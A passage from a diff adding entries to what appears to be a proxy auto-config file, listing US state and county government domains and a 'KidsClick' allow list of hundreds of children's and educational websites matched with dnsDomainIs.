+ || dnsDomainIs(host, ".co.nd.us")
+ || dnsDomainIs(host, ".co.oh.us")
+ || dnsDomainIs(host, ".co.ok.us")
+ || dnsDomainIs(host, ".co.or.us")
+ || dnsDomainIs(host, ".co.pa.us")
+ || dnsDomainIs(host, ".co.ri.us")
+ || dnsDomainIs(host, ".co.sc.us")
+ || dnsDomainIs(host, ".co.sd.us")
+ || dnsDomainIs(host, ".co.tn.us")
+ || dnsDomainIs(host, ".co.tx.us")
+ || dnsDomainIs(host, ".co.ut.us")
+ || dnsDomainIs(host, ".co.vt.us")
+ || dnsDomainIs(host, ".co.va.us")
+ || dnsDomainIs(host, ".co.wa.us")
+ || dnsDomainIs(host, ".co.wv.us")
+ || dnsDomainIs(host, ".co.wi.us")
+ || dnsDomainIs(host, ".co.wy.us")
+
+// U.S. States
+ || dnsDomainIs(host, ".state.al.us")
+ || dnsDomainIs(host, ".state.ak.us")
+ || dnsDomainIs(host, ".state.ar.us")
+ || dnsDomainIs(host, ".state.az.us")
+ || dnsDomainIs(host, ".state.ca.us")
+ || dnsDomainIs(host, ".state.co.us")
+ || dnsDomainIs(host, ".state.ct.us")
+ || dnsDomainIs(host, ".state.dc.us")
+ || dnsDomainIs(host, ".state.de.us")
+ || dnsDomainIs(host, ".state.fl.us")
+ || dnsDomainIs(host, ".state.ga.us")
+ || dnsDomainIs(host, ".state.hi.us")
+ || dnsDomainIs(host, ".state.id.us")
+ || dnsDomainIs(host, ".state.il.us")
+ || dnsDomainIs(host, ".state.in.us")
+ || dnsDomainIs(host, ".state.ia.us")
+ || dnsDomainIs(host, ".state.ks.us")
+ || dnsDomainIs(host, ".state.ky.us")
+ || dnsDomainIs(host, ".state.la.us")
+ || dnsDomainIs(host, ".state.me.us")
+ || dnsDomainIs(host, ".state.md.us")
+ || dnsDomainIs(host, ".state.ma.us")
+ || dnsDomainIs(host, ".state.mi.us")
+ || dnsDomainIs(host, ".state.mn.us")
+ || dnsDomainIs(host, ".state.ms.us")
+ || dnsDomainIs(host, ".state.mo.us")
+ || dnsDomainIs(host, ".state.mt.us")
+ || dnsDomainIs(host, ".state.ne.us")
+ || dnsDomainIs(host, ".state.nv.us")
+ || dnsDomainIs(host, ".state.nh.us")
+ || dnsDomainIs(host, ".state.nj.us")
+ || dnsDomainIs(host, ".state.nm.us")
+ || dnsDomainIs(host, ".state.ny.us")
+ || dnsDomainIs(host, ".state.nc.us")
+ || dnsDomainIs(host, ".state.nd.us")
+ || dnsDomainIs(host, ".state.oh.us")
+ || dnsDomainIs(host, ".state.ok.us")
+ || dnsDomainIs(host, ".state.or.us")
+ || dnsDomainIs(host, ".state.pa.us")
+ || dnsDomainIs(host, ".state.ri.us")
+ || dnsDomainIs(host, ".state.sc.us")
+ || dnsDomainIs(host, ".state.sd.us")
+ || dnsDomainIs(host, ".state.tn.us")
+ || dnsDomainIs(host, ".state.tx.us")
+ || dnsDomainIs(host, ".state.ut.us")
+ || dnsDomainIs(host, ".state.vt.us")
+ || dnsDomainIs(host, ".state.va.us")
+ || dnsDomainIs(host, ".state.wa.us")
+ || dnsDomainIs(host, ".state.wv.us")
+ || dnsDomainIs(host, ".state.wi.us")
+ || dnsDomainIs(host, ".state.wy.us")
+
+// KidsClick URLs
+
+ || dnsDomainIs(host, "12.16.163.163")
+ || dnsDomainIs(host, "128.59.173.136")
+ || dnsDomainIs(host, "165.112.78.61")
+ || dnsDomainIs(host, "216.55.23.140")
+ || dnsDomainIs(host, "63.111.53.150")
+ || dnsDomainIs(host, "64.94.206.8")
+
+ || dnsDomainIs(host, "abc.go.com")
+ || dnsDomainIs(host, "acmepet.petsmart.com")
+ || dnsDomainIs(host, "adver-net.com")
+ || dnsDomainIs(host, "aint-it-cool-news.com")
+ || dnsDomainIs(host, "akidsheart.com")
+ || dnsDomainIs(host, "alabanza.com")
+ || dnsDomainIs(host, "allerdays.com")
+ || dnsDomainIs(host, "allgame.com")
+ || dnsDomainIs(host, "allowancenet.com")
+ || dnsDomainIs(host, "amish-heartland.com")
+ || dnsDomainIs(host, "ancienthistory.about.com")
+ || dnsDomainIs(host, "animals.about.com")
+ || dnsDomainIs(host, "antenna.nl")
+ || dnsDomainIs(host, "arcweb.sos.state.or.us")
+ || dnsDomainIs(host, "artistmummer.homestead.com")
+ || dnsDomainIs(host, "artists.vh1.com")
+ || dnsDomainIs(host, "arts.lausd.k12.ca.us")
+ || dnsDomainIs(host, "asiatravel.com")
+ || dnsDomainIs(host, "asterius.com")
+ || dnsDomainIs(host, "atlas.gc.ca")
+ || dnsDomainIs(host, "atschool.eduweb.co.uk")
+ || dnsDomainIs(host, "ayya.pd.net")
+ || dnsDomainIs(host, "babelfish.altavista.com")
+ || dnsDomainIs(host, "babylon5.warnerbros.com")
+ || dnsDomainIs(host, "banzai.neosoft.com")
+ || dnsDomainIs(host, "barneyonline.com")
+ || dnsDomainIs(host, "baroque-music.com")
+ || dnsDomainIs(host, "barsoom.msss.com")
+ || dnsDomainIs(host, "baseball-almanac.com")
+ || dnsDomainIs(host, "bcadventure.com")
+ || dnsDomainIs(host, "beadiecritters.hosting4less.com")
+ || dnsDomainIs(host, "beverlyscrafts.com")
+ || dnsDomainIs(host, "biology.about.com")
+ || dnsDomainIs(host, "birding.about.com")
+ || dnsDomainIs(host, "boatsafe.com")
+ || dnsDomainIs(host, "bombpop.com")
+ || dnsDomainIs(host, "boulter.com")
+ || dnsDomainIs(host, "bright-ideas-software.com")
+ || dnsDomainIs(host, "buckman.pps.k12.or.us")
+ || dnsDomainIs(host, "buffalobills.com")
+ || dnsDomainIs(host, "bvsd.k12.co.us")
+ || dnsDomainIs(host, "cagle.slate.msn.com")
+ || dnsDomainIs(host, "calc.entisoft.com")
+ || dnsDomainIs(host, "canada.gc.ca")
+ || dnsDomainIs(host, "candleandsoap.about.com")
+ || dnsDomainIs(host, "caselaw.lp.findlaw.com")
+ || dnsDomainIs(host, "catalog.com")
+ || dnsDomainIs(host, "catalog.socialstudies.com")
+ || dnsDomainIs(host, "cavern.com")
+ || dnsDomainIs(host, "cbs.sportsline.com")
+ || dnsDomainIs(host, "cc.matsuyama-u.ac.jp")
+ || dnsDomainIs(host, "celt.net")
+ || dnsDomainIs(host, "cgfa.kelloggcreek.com")
+ || dnsDomainIs(host, "channel4000.com")
+ || dnsDomainIs(host, "chess.delorie.com")
+ || dnsDomainIs(host, "chess.liveonthenet.com")
+ || dnsDomainIs(host, "childfun.com")
+ || dnsDomainIs(host, "christmas.com")
+ || dnsDomainIs(host, "citystar.com")
+ || dnsDomainIs(host, "claim.goldrush.com")
+ || dnsDomainIs(host, "clairerosemaryjane.com")
+ || dnsDomainIs(host, "clevermedia.com")
+ || dnsDomainIs(host, "cobblestonepub.com")
+ || dnsDomainIs(host, "codebrkr.infopages.net")
+ || dnsDomainIs(host, "colitz.com")
+ || dnsDomainIs(host, "collections.ic.gc.ca")
+ || dnsDomainIs(host, "coloquio.com")
+ || dnsDomainIs(host, "come.to")
+ || dnsDomainIs(host, "coombs.anu.edu.au")
+ || dnsDomainIs(host, "crafterscommunity.com")
+ || dnsDomainIs(host, "craftsforkids.about.com")
+ || dnsDomainIs(host, "creativity.net")
+ || dnsDomainIs(host, "cslewis.drzeus.net")
+ || dnsDomainIs(host, "cust.idl.com.au")
+ || dnsDomainIs(host, "cvs.anu.edu.au")
+ || dnsDomainIs(host, "cybersleuth-kids.com")
+ || dnsDomainIs(host, "cybertown.com")
+ || dnsDomainIs(host, "darkfish.com")
+ || dnsDomainIs(host, "datadragon.com")
+ || dnsDomainIs(host, "davesite.com")
+ || dnsDomainIs(host, "dbertens.www.cistron.nl")
+ || dnsDomainIs(host, "detnews.com")
+ || dnsDomainIs(host, "dhr.dos.state.fl.us")
+ || dnsDomainIs(host, "dialspace.dial.pipex.com")
+ || dnsDomainIs(host, "dictionaries.travlang.com")
+ || dnsDomainIs(host, "disney.go.com")
+ || dnsDomainIs(host, "disneyland.disney.go.com")
+ || dnsDomainIs(host, "district.gresham.k12.or.us")
+ || dnsDomainIs(host, "dmarie.com")
+ || dnsDomainIs(host, "dreamwater.com")
+ || dnsDomainIs(host, "duke.fuse.net")
+ || dnsDomainIs(host, "earlyamerica.com")
+ || dnsDomainIs(host, "earthsky.com")
+ || dnsDomainIs(host, "easyweb.easynet.co.uk")
+ || dnsDomainIs(host, "ecards1.bansheeweb.com")
+ || dnsDomainIs(host, "edugreen.teri.res.in")
+ || dnsDomainIs(host, "edwardlear.tripod.com")
+ || dnsDomainIs(host, "eelink.net")
+ || dnsDomainIs(host, "elizabethsings.com")
+ || dnsDomainIs(host, "enature.com")
+ || dnsDomainIs(host, "encarta.msn.com")
+ || dnsDomainIs(host, "endangeredspecie.com")
+ || dnsDomainIs(host, "enterprise.america.com")
+ || dnsDomainIs(host, "ericae.net")
+ || dnsDomainIs(host, "esl.about.com")
+ || dnsDomainIs(host, "eveander.com")
+ || dnsDomainIs(host, "exn.ca")
+ || dnsDomainIs(host, "fallscam.niagara.com")
+ || dnsDomainIs(host, "family.go.com")
+ || dnsDomainIs(host, "family2.go.com")
+ || dnsDomainIs(host, "familyeducation.com")
+ || dnsDomainIs(host, "finditquick.com")
+ || dnsDomainIs(host, "fln-bma.yazigi.com.br")
+ || dnsDomainIs(host, "fln-con.yazigi.com.br")
+ || dnsDomainIs(host, "food.epicurious.com")
+ || dnsDomainIs(host, "forums.sympatico.ca")
+ || dnsDomainIs(host, "fotw.vexillum.com")
+ || dnsDomainIs(host, "fox.nstn.ca")
+ || dnsDomainIs(host, "framingham.com")
+ || dnsDomainIs(host, "freevote.com")
+ || dnsDomainIs(host, "freeweb.pdq.net")
+ || dnsDomainIs(host, "games.yahoo.com")
+ || dnsDomainIs(host, "gardening.sierrahome.com")
+ || dnsDomainIs(host, "gardenofpraise.com")
+ || dnsDomainIs(host, "gcclearn.gcc.cc.va.us")
+ || dnsDomainIs(host, "genealogytoday.com")
+ || dnsDomainIs(host, "genesis.ne.mediaone.net")
+ || dnsDomainIs(host, "geniefind.com")
+ || dnsDomainIs(host, "geography.about.com")
+ || dnsDomainIs(host, "gf.state.wy.us")
+ || dnsDomainIs(host, "gi.grolier.com")
+ || dnsDomainIs(host, "golf.com")
+ || dnsDomainIs(host, "greatseal.com")
+ || dnsDomainIs(host, "guardians.net")
+ || dnsDomainIs(host, "hamlet.hypermart.net")
+ || dnsDomainIs(host, "happypuppy.com")
+ || dnsDomainIs(host, "harcourt.fsc.follett.com")
+ || dnsDomainIs(host, "haringkids.com")
+ || dnsDomainIs(host, "harrietmaysavitz.com")
+ || dnsDomainIs(host, "harrypotter.warnerbros.com")
+ || dnsDomainIs(host, "hca.gilead.org.il")
+ || dnsDomainIs(host, "header.future.easyspace.com")
+ || dnsDomainIs(host, "historymedren.about.com")
+ || dnsDomainIs(host, "home.att.net")
+ || dnsDomainIs(host, "home.austin.rr.com")
+ || dnsDomainIs(host, "home.capu.net")
+ || dnsDomainIs(host, "home.cfl.rr.com")
+ || dnsDomainIs(host, "home.clara.net")
+ || dnsDomainIs(host, "home.clear.net.nz")
+ || dnsDomainIs(host, "home.earthlink.net")
+ || dnsDomainIs(host, "home.eznet.net")
+ || dnsDomainIs(host, "home.flash.net")
+ || dnsDomainIs(host, "home.hiwaay.net")
+ || dnsDomainIs(host, "home.hkstar.com")
+ || dnsDomainIs(host, "home.ici.net")
+ || dnsDomainIs(host, "home.inreach.com")
+ || dnsDomainIs(host, "home.interlynx.net")
+ || dnsDomainIs(host, "home.istar.ca")
+ || dnsDomainIs(host, "home.mira.net")
+ || dnsDomainIs(host, "home.nycap.rr.com")
+ || dnsDomainIs(host, "home.online.no")
+ || dnsDomainIs(host, "home.pb.net")
+ || dnsDomainIs(host, "home2.pacific.net.sg")
+ || dnsDomainIs(host, "homearts.com")
+ || dnsDomainIs(host, "homepage.mac.com")
+ || dnsDomainIs(host, "hometown.aol.com")
+ || dnsDomainIs(host, "homiliesbyemail.com")
+ || dnsDomainIs(host, "hotei.fix.co.jp")
+ || dnsDomainIs(host, "hotwired.lycos.com")
+ || dnsDomainIs(host, "hp.vector.co.jp")
+ || dnsDomainIs(host, "hum.amu.edu.pl")
+ || dnsDomainIs(host, "i-cias.com")
+ || dnsDomainIs(host, "icatapults.freeservers.com")
+ || dnsDomainIs(host, "ind.cioe.com")
+ || dnsDomainIs(host, "info.ex.ac.uk")
+ || dnsDomainIs(host, "infocan.gc.ca")
+ || dnsDomainIs(host, "infoservice.gc.ca")
+ || dnsDomainIs(host, "interoz.com")
+ || dnsDomainIs(host, "ireland.iol.ie")
+ || dnsDomainIs(host, "is.dal.ca")
+ || dnsDomainIs(host, "itss.raytheon.com")
+ || dnsDomainIs(host, "iul.com")
+ || dnsDomainIs(host, "jameswhitcombriley.com")
+ || dnsDomainIs(host, "jellieszone.com")
+ || dnsDomainIs(host, "jordan.sportsline.com")
+ || dnsDomainIs(host, "judyanddavid.com")
+ || dnsDomainIs(host, "jurai.murdoch.edu.au")
+ || dnsDomainIs(host, "just.about.com")
+ || dnsDomainIs(host, "kayleigh.tierranet.com")
+ || dnsDomainIs(host, "kcwingwalker.tripod.com")
+ || dnsDomainIs(host, "kidexchange.about.com")
+ || dnsDomainIs(host, "kids-world.colgatepalmolive.com")
+ || dnsDomainIs(host, "kids.mysterynet.com")
+ || dnsDomainIs(host, "kids.ot.com")
+ || dnsDomainIs(host, "kidsartscrafts.about.com")
+ || dnsDomainIs(host, "kidsastronomy.about.com")
+ || dnsDomainIs(host, "kidscience.about.com")
+ || dnsDomainIs(host, "kidscience.miningco.com")
+ || dnsDomainIs(host, "kidscollecting.about.com")
+ || dnsDomainIs(host, "kidsfun.co.uk")
+ || dnsDomainIs(host, "kidsinternet.about.com")
+ || dnsDomainIs(host, "kidslangarts.about.com")
+ || dnsDomainIs(host, "kidspenpals.about.com")
+ || dnsDomainIs(host, "kitecast.com")
+ || dnsDomainIs(host, "knight.city.ba.k12.md.us")
+ || dnsDomainIs(host, "kodak.com")
+ || dnsDomainIs(host, "kwanzaa4kids.homestead.com")
+ || dnsDomainIs(host, "lagos.africaonline.com")
+ || dnsDomainIs(host, "lancearmstrong.com")
+ || dnsDomainIs(host, "landru.i-link-2.net")
+ || dnsDomainIs(host, "lang.nagoya-u.ac.jp")
+ || dnsDomainIs(host, "lascala.milano.it")
+ || dnsDomainIs(host, "latinoculture.about.com")
+ || dnsDomainIs(host, "litcal.yasuda-u.ac.jp")
+ || dnsDomainIs(host, "littlebit.com")
+ || dnsDomainIs(host, "live.edventures.com")
+ || dnsDomainIs(host, "look.net")
+ || dnsDomainIs(host, "lycoskids.infoplease.com")
+ || dnsDomainIs(host, "lynx.uio.no")
+ || dnsDomainIs(host, "macdict.dict.mq.edu.au")
+ || dnsDomainIs(host, "maori.culture.co.nz")
+ || dnsDomainIs(host, "marktwain.about.com")
+ || dnsDomainIs(host, "marktwain.miningco.com")
+ || dnsDomainIs(host, "mars2030.net")
+ || dnsDomainIs(host, "martin.parasitology.mcgill.ca")
+ || dnsDomainIs(host, "martinlutherking.8m.com")
+ || dnsDomainIs(host, "mastercollector.com")
+ || dnsDomainIs(host, "mathcentral.uregina.ca")
+ || dnsDomainIs(host, "members.aol.com")
+ || dnsDomainIs(host, "members.carol.net")
+ || dnsDomainIs(host, "members.cland.net")
+ || dnsDomainIs(host, "members.cruzio.com")
+ || dnsDomainIs(host, "members.easyspace.com")
+ || dnsDomainIs(host, "members.eisa.net.au")
+ || dnsDomainIs(host, "members.home.net")
+ || dnsDomainIs(host, "members.iinet.net.au")
+ || dnsDomainIs(host, "members.nbci.com")
+ || dnsDomainIs(host, "members.ozemail.com.au")
+ || dnsDomainIs(host, "members.surfsouth.com")
+ || dnsDomainIs(host, "members.theglobe.com")
+ || dnsDomainIs(host, "members.tripod.com")
+ || dnsDomainIs(host, "mexplaza.udg.mx")
+ || dnsDomainIs(host, "mgfx.com")
+ || dnsDomainIs(host, "microimg.com")
+ || dnsDomainIs(host, "midusa.net")
+ || dnsDomainIs(host, "mildan.com")
+ || dnsDomainIs(host, "millennianet.com")
+ || dnsDomainIs(host, "mindbreakers.e-fun.nu")
+ || dnsDomainIs(host, "missjanet.xs4all.nl")
+ || dnsDomainIs(host, "mistral.culture.fr")
+ || dnsDomainIs(host, "mobileation.com")
+ || dnsDomainIs(host, "mrshowbiz.go.com")
+ || dnsDomainIs(host, "ms.simplenet.com")
+ || dnsDomainIs(host, "museum.gov.ns.ca")
+ || dnsDomainIs(host, "music.excite.com")
+ || dnsDomainIs(host, "musicfinder.yahoo.com")
+ || dnsDomainIs(host, "my.freeway.net")
+ || dnsDomainIs(host, "mytrains.com")
+ || dnsDomainIs(host, "nativeauthors.com")
+ || dnsDomainIs(host, "nba.com")
+ || dnsDomainIs(host, "nch.ari.net")
+ || dnsDomainIs(host, "neonpeach.tripod.com")
+ || dnsDomainIs(host, "net.indra.com")
+ || dnsDomainIs(host, "ngeorgia.com")
+ || dnsDomainIs(host, "ngp.ngpc.state.ne.us")
+ || dnsDomainIs(host, "nhd.heinle.com")
+ || dnsDomainIs(host, "nick.com")
+ || dnsDomainIs(host, "normandy.eb.com")
+ || dnsDomainIs(host, "northshore.shore.net")
+ || dnsDomainIs(host, "now2000.com")
+ || dnsDomainIs(host, "npc.nunavut.ca")
+ || dnsDomainIs(host, "ns2.carib-link.net")
+ || dnsDomainIs(host, "ntl.sympatico.ca")
+ || dnsDomainIs(host, "oceanographer.navy.mil")
+ || dnsDomainIs(host, "oddens.geog.uu.nl")
+ || dnsDomainIs(host, "officialcitysites.com")
+ || dnsDomainIs(host, "oneida-nation.net")
+ || dnsDomainIs(host, "onlinegeorgia.com")
+ || dnsDomainIs(host, "originator_2.tripod.com")
+ || dnsDomainIs(host, "ortech-engr.com")
+ || dnsDomainIs(host, "osage.voorhees.k12.nj.us")
+ || dnsDomainIs(host, "osiris.sund.ac.uk")
+ || dnsDomainIs(host, "ourworld.compuserve.com")
+ || dnsDomainIs(host, "outdoorphoto.com")
+ || dnsDomainIs(host, "pages.map.com")
+ || dnsDomainIs(host, "pages.prodigy.com")
+ || dnsDomainIs(host, "pages.prodigy.net")
+ || dnsDomainIs(host, "pages.tca.net")
+ || dnsDomainIs(host, "parcsafari.qc.ca")
+ || dnsDomainIs(host, "parenthoodweb.com")
+ || dnsDomainIs(host, "pathfinder.com")
+ || dnsDomainIs(host, "people.clarityconnect.com")
+ || dnsDomainIs(host, "people.enternet.com.au")
+ || dnsDomainIs(host, "people.ne.mediaone.net")
+ || dnsDomainIs(host, "phonics.jazzles.com")
+ || dnsDomainIs(host, "pibburns.com")
+ || dnsDomainIs(host, "pilgrims.net")
+ || dnsDomainIs(host, "pinenet.com")
+ || dnsDomainIs(host, "place.scholastic.com")
+ || dnsDomainIs(host, "playground.kodak.com")
+ || dnsDomainIs(host, "politicalgraveyard.com")
+ || dnsDomainIs(host, "polk.ga.net")
+ || dnsDomainIs(host, "pompstory.home.mindspring.com")
+ || dnsDomainIs(host, "popularmechanics.com")
+ || dnsDomainIs(host, "projects.edtech.sandi.net")
+ || dnsDomainIs(host, "psyche.usno.navy.mil")
+ || dnsDomainIs(host, "pubweb.parc.xerox.com")
+ || dnsDomainIs(host, "puzzlemaker.school.discovery.com")
+ || dnsDomainIs(host, "quest.classroom.com")
+ || dnsDomainIs(host, "quilting.about.com")
+ || dnsDomainIs(host, "rabbitmoon.home.mindspring.com")
+ || dnsDomainIs(host, "radio.cbc.ca")
+ || dnsDomainIs(host, "rats2u.com")
+ || dnsDomainIs(host, "rbcm1.rbcm.gov.bc.ca")
+ || dnsDomainIs(host, "readplay.com")
+ || dnsDomainIs(host, "recipes4children.homestead.com")
+ || dnsDomainIs(host, "redsox.com")
+ || dnsDomainIs(host, "renaissance.district96.k12.il.us")
+ || dnsDomainIs(host, "rhyme.lycos.com")
+ || dnsDomainIs(host, "rhythmweb.com")
+ || dnsDomainIs(host, "riverresource.com")
+ || dnsDomainIs(host, "rockhoundingar.com")
+ || dnsDomainIs(host, "rockies.mlb.com")
+ || dnsDomainIs(host, "rosecity.net")
+ || dnsDomainIs(host, "rr-vs.informatik.uni-ulm.de")
+ || dnsDomainIs(host, "rubens.anu.edu.au")
+ || dnsDomainIs(host, "rummelplatz.uni-mannheim.de")
+ || dnsDomainIs(host, "sandbox.xerox.com")
+ || dnsDomainIs(host, "sarah.fredart.com")
+ || dnsDomainIs(host, "schmidel.com")
+ || dnsDomainIs(host, "scholastic.com")
+ || dnsDomainIs(host, "school.discovery.com")
+ || dnsDomainIs(host, "schoolcentral.com")
+ || dnsDomainIs(host, "seattletimes.nwsource.com")
+ || dnsDomainIs(host, "sericulum.com")
+ || dnsDomainIs(host, "sf.airforce.com")
+ || dnsDomainIs(host, "shop.usps.com")
+ || dnsDomainIs(host, "showcase.netins.net")
+ || dnsDomainIs(host, "sikids.com")
+ || dnsDomainIs(host, "sites.huji.ac.il")
+ || dnsDomainIs(host, "sjliving.com")
+ || dnsDomainIs(host, "skullduggery.com")
+ || dnsDomainIs(host, "skyways.lib.ks.us")
+ || dnsDomainIs(host, "snowdaymovie.nick.com")
+ || dnsDomainIs(host, "sosa21.hypermart.net")
+ || dnsDomainIs(host, "soundamerica.com")
+ || dnsDomainIs(host, "spaceboy.nasda.go.jp")
+ || dnsDomainIs(host, "sports.nfl.com")
+ || dnsDomainIs(host, "sportsillustrated.cnn.com")
+ || dnsDomainIs(host, "starwars.hasbro.com")
+ || dnsDomainIs(host, "statelibrary.dcr.state.nc.us")
+ || dnsDomainIs(host, "streetplay.com")
+ || dnsDomainIs(host, "sts.gsc.nrcan.gc.ca")
+ || dnsDomainIs(host, "sunniebunniezz.com")
+ || dnsDomainIs(host, "sunsite.nus.edu.sg")
+ || dnsDomainIs(host, "sunsite.sut.ac.jp")
+ || dnsDomainIs(host, "superm.bart.nl")
+ || dnsDomainIs(host, "surf.to")
+ || dnsDomainIs(host, "svinet2.fs.fed.us")
+ || dnsDomainIs(host, "swiminfo.com")
+ || dnsDomainIs(host, "tabletennis.about.com")
+ || dnsDomainIs(host, "teacher.scholastic.com")
+ || dnsDomainIs(host, "theforce.net")
+ || dnsDomainIs(host, "thejessicas.homestead.com")
+ || dnsDomainIs(host, "themes.editthispage.com")
+ || dnsDomainIs(host, "theory.uwinnipeg.ca")
+ || dnsDomainIs(host, "theshadowlands.net")
+ || dnsDomainIs(host, "thinks.com")
+ || dnsDomainIs(host, "thryomanes.tripod.com")
+ || dnsDomainIs(host, "time_zone.tripod.com")
+ || dnsDomainIs(host, "titania.cobuild.collins.co.uk")
+ || dnsDomainIs(host, "torre.duomo.pisa.it")
+ || dnsDomainIs(host, "touregypt.net")
+ || dnsDomainIs(host, "toycollecting.about.com")
+ || dnsDomainIs(host, "trace.ntu.ac.uk")
+ || dnsDomainIs(host, "travelwithkids.about.com")
+ || dnsDomainIs(host, "tukids.tucows.com")
+ || dnsDomainIs(host, "tv.yahoo.com")
+ || dnsDomainIs(host, "tycho.usno.navy.mil")
+ || dnsDomainIs(host, "ubl.artistdirect.com")
+ || dnsDomainIs(host, "uk-pages.net")
+ || dnsDomainIs(host, "ukraine.uazone.net")
+ || dnsDomainIs(host, "unmuseum.mus.pa.us")
+ || dnsDomainIs(host, "us.imdb.com")
+ || dnsDomainIs(host, "userpage.chemie.fu-berlin.de")
+ || dnsDomainIs(host, "userpage.fu-berlin.de")
+ || dnsDomainIs(host, "userpages.aug.com")
+ || dnsDomainIs(host, "users.aol.com")
+ || dnsDomainIs(host, "users.bigpond.net.au")
+ || dnsDomainIs(host, "users.breathemail.net")
+ || dnsDomainIs(host, "users.erols.com")
+ || dnsDomainIs(host, "users.imag.net")
+ || dnsDomainIs(host, "users.inetw.net")
+ || dnsDomainIs(host, "users.massed.net")
+ || dnsDomainIs(host, "users.skynet.be")
+ || dnsDomainIs(host, "users.uniserve.com")
+ || dnsDomainIs(host, "venus.spaceports.com")
+ || dnsDomainIs(host, "vgstrategies.about.com")
+ || dnsDomainIs(host, "victorian.fortunecity.com")
+ || dnsDomainIs(host, "vilenski.com")
+ || dnsDomainIs(host, "village.infoweb.ne.jp")
+ || dnsDomainIs(host, "virtual.finland.fi")
+ || dnsDomainIs(host, "vrml.fornax.hu")
+ || dnsDomainIs(host, "vvv.com")
+ || dnsDomainIs(host, "w1.xrefer.com")
+ || dnsDomainIs(host, "w3.one.net")
+ || dnsDomainIs(host, "w3.rz-berlin.mpg.de")
+ || dnsDomainIs(host, "w3.trib.com")
+ || dnsDomainIs(host, "wallofsound.go.com")
+ || dnsDomainIs(host, "web.aimnet.com")
+ || dnsDomainIs(host, "web.ccsd.k12.wy.us")
+ || dnsDomainIs(host, "web.cs.ualberta.ca")
+ || dnsDomainIs(host, "web.idirect.com")
+ || dnsDomainIs(host, "web.kyoto-inet.or.jp")
+ || dnsDomainIs(host, "web.macam98.ac.il")
+ || dnsDomainIs(host, "web.massvacation.com")
+ || dnsDomainIs(host, "web.one.net.au")
+ || dnsDomainIs(host, "web.qx.net")
+ || dnsDomainIs(host, "web.uvic.ca")
+ || dnsDomainIs(host, "web2.airmail.net")
+ || dnsDomainIs(host, "webcoast.com")
+ || dnsDomainIs(host, "webgames.kalisto.com")
+ || dnsDomainIs(host, "webhome.idirect.com")
+ || dnsDomainIs(host, "webpages.homestead.com")
+ || dnsDomainIs(host, "webrum.uni-mannheim.de")
+ || dnsDomainIs(host, "webusers.anet-stl.com")
+ || dnsDomainIs(host, "welcome.to")
+ || dnsDomainIs(host, "wgntv.com")
+ || dnsDomainIs(host, "whales.magna.com.au")
+ || dnsDomainIs(host, "wildheart.com")
+ || dnsDomainIs(host, "wilstar.net")
+ || dnsDomainIs(host, "winter-wonderland.com")
+ || dnsDomainIs(host, "women.com")
+ || dnsDomainIs(host, "woodrow.mpls.frb.fed.us")
+ || dnsDomainIs(host, "wordzap.com")
+ || dnsDomainIs(host, "worldkids.net")
+ || dnsDomainIs(host, "worldwideguide.net")
+ || dnsDomainIs(host, "ww3.bay.k12.fl.us")
+ || dnsDomainIs(host, "ww3.sportsline.com")
+ || dnsDomainIs(host, "www-groups.dcs.st-and.ac.uk")
+ || dnsDomainIs(host, "www-public.rz.uni-duesseldorf.de")
+ || dnsDomainIs(host, "www.1stkids.com")
+ || dnsDomainIs(host, "www.2020tech.com")
+ || dnsDomainIs(host, "www.21stcenturytoys.com")
+ || dnsDomainIs(host, "www.4adventure.com")
+ || dnsDomainIs(host, "www.50states.com")
+ || dnsDomainIs(host, "www.800padutch.com")
+ || dnsDomainIs(host, "www.88.com")
+ || dnsDomainIs(host, "www.a-better.com")
+ || dnsDomainIs(host, "www.aaa.com.au")
+ || dnsDomainIs(host, "www.aacca.com")
+ || dnsDomainIs(host, "www.aalbc.com")
+ || dnsDomainIs(host, "www.aardman.com")
+ || dnsDomainIs(host, "www.aardvarkelectric.com")
+ || dnsDomainIs(host, "www.aawc.com")
+ || dnsDomainIs(host, "www.ababmx.com")
+ || dnsDomainIs(host, "www.abbeville.com")
+ || dnsDomainIs(host, "www.abc.net.au")
+ || dnsDomainIs(host, "www.abcb.com")
+ || dnsDomainIs(host, "www.abctooncenter.com")
+ || dnsDomainIs(host, "www.about.ch")
+ || dnsDomainIs(host, "www.accessart.org.uk")
+ || dnsDomainIs(host, "www.accu.or.jp")
+ || dnsDomainIs(host, "www.accuweather.com")
+ || dnsDomainIs(host, "www.achuka.co.uk")
+ || dnsDomainIs(host, "www.acmecity.com")
+ || dnsDomainIs(host, "www.acorn-group.com")
+ || dnsDomainIs(host, "www.acs.ucalgary.ca")
+ || dnsDomainIs(host, "www.actden.com")
+ || dnsDomainIs(host, "www.actionplanet.com")
+ || dnsDomainIs(host, "www.activityvillage.co.uk")
+ || dnsDomainIs(host, "www.actwin.com")
+ || dnsDomainIs(host, "www.adequate.com")
+ || dnsDomainIs(host, "www.adidas.com")
+ || dnsDomainIs(host, "www.advent-calendars.com")
+ || dnsDomainIs(host, "www.aegis.com")
+ || dnsDomainIs(host, "www.af.mil")
+ || dnsDomainIs(host, "www.africaindex.africainfo.no")
+ || dnsDomainIs(host, "www.africam.com")
+ || dnsDomainIs(host, "www.africancrafts.com")
+ || dnsDomainIs(host, "www.aggressive.com")
+ || dnsDomainIs(host, "www.aghines.com")
+ || dnsDomainIs(host, "www.agirlsworld.com")
+ || dnsDomainIs(host, "www.agora.stm.it")
+ || dnsDomainIs(host, "www.agriculture.com")
+ || dnsDomainIs(host, "www.aikidofaq.com")
+ || dnsDomainIs(host, "www.ajkids.com")
+ || dnsDomainIs(host, "www.akfkoala.gil.com.au")
+ || dnsDomainIs(host, "www.akhlah.com")
+ || dnsDomainIs(host, "www.alabamainfo.com")
+ || dnsDomainIs(host, "www.aland.fi")
+ || dnsDomainIs(host, "www.albion.com")
+ || dnsDomainIs(host, "www.alcoholismhelp.com")
+ || dnsDomainIs(host, "www.alcottweb.com")
+ || dnsDomainIs(host, "www.alfanet.it")
+ || dnsDomainIs(host, "www.alfy.com")
+ || dnsDomainIs(host, "www.algebra-online.com")
+ || dnsDomainIs(host, "www.alienexplorer.com")
+ || dnsDomainIs(host, "www.aliensatschool.com")
+ || dnsDomainIs(host, "www.all-links.com")
+ || dnsDomainIs(host, "www.alldetroit.com")
+ || dnsDomainIs(host, "www.allexperts.com")
+ || dnsDomainIs(host, "www.allmixedup.com")
+ || dnsDomainIs(host, "www.allmusic.com")
+ || dnsDomainIs(host, "www.almanac.com")
+ || dnsDomainIs(host, "www.almaz.com")
+ || dnsDomainIs(host, "www.almondseed.com")
+ || dnsDomainIs(host, "www.aloha.com")
+ || dnsDomainIs(host, "www.aloha.net")
+ || dnsDomainIs(host, "www.altonweb.com")
